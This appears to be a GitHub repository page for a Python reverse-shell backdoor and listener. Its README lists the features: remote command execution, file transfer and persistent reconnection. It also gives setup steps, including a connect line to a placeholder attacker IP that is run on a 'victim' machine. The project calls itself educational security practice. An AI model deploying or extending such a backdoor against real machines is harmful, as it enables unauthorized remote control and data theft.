Skip to content

A Python-based backdoor and server communication tool for ethical hacking and reverse shell practice using socket programming.

Notifications You must be signed in to change notification settings

ceodaniyal/Backdoor

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

2 Commits
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

🐍 Python Backdoor & Listener Server

This project demonstrates how to create a simple backdoor and server listener using Python's socket and subprocess modules. It's built for educational and ethical hacking purposes, specifically for practicing reverse shell communication, file transfers, and remote command execution.


βš™οΈ Features

  • Reverse shell from target to attacker
  • Remote command execution on target machine
  • Upload and download files between machines
  • Persistent connection attempts from the backdoor
  • JSON-based reliable communication
  • Command-line shell interface for interaction

πŸ“ File Structure


.
β”œβ”€β”€ server.py       # Listener/Command control center
β”œβ”€β”€ backdoor.py     # Script to be executed on the target machine
└── README.md


πŸš€ How to Use

1. On the Attacker's Machine (Server):

Edit the IP in server.py to match your local IP address:

sock.bind(('YOUR-IP-HERE', 5555))

Then run:

python server.py

2. On the Victim's Machine (Backdoor):

Edit the IP in backdoor.py to match the server's IP:

s.connect(('YOUR-IP-HERE', 5555))

Then run:

python backdoor.py

πŸ” Commands Supported

Command Description
cd <dir> Change directory
upload <file> Upload a file from attacker to victim
download <file> Download a file from victim to attacker
clear Clear the screen (local only)
quit Close the session
<any other> Execute system command on target

πŸ›‘οΈ Ethical Use Disclaimer

This project is strictly for educational use only. Do not run this code on any machine or network without explicit permission. Unauthorized use may be illegal and unethical.


πŸ“œ License

MIT License β€” free to use, modify, and distribute.


πŸ‘¨β€πŸ’» Author

Releases

No releases published

Packages

No packages published

Languages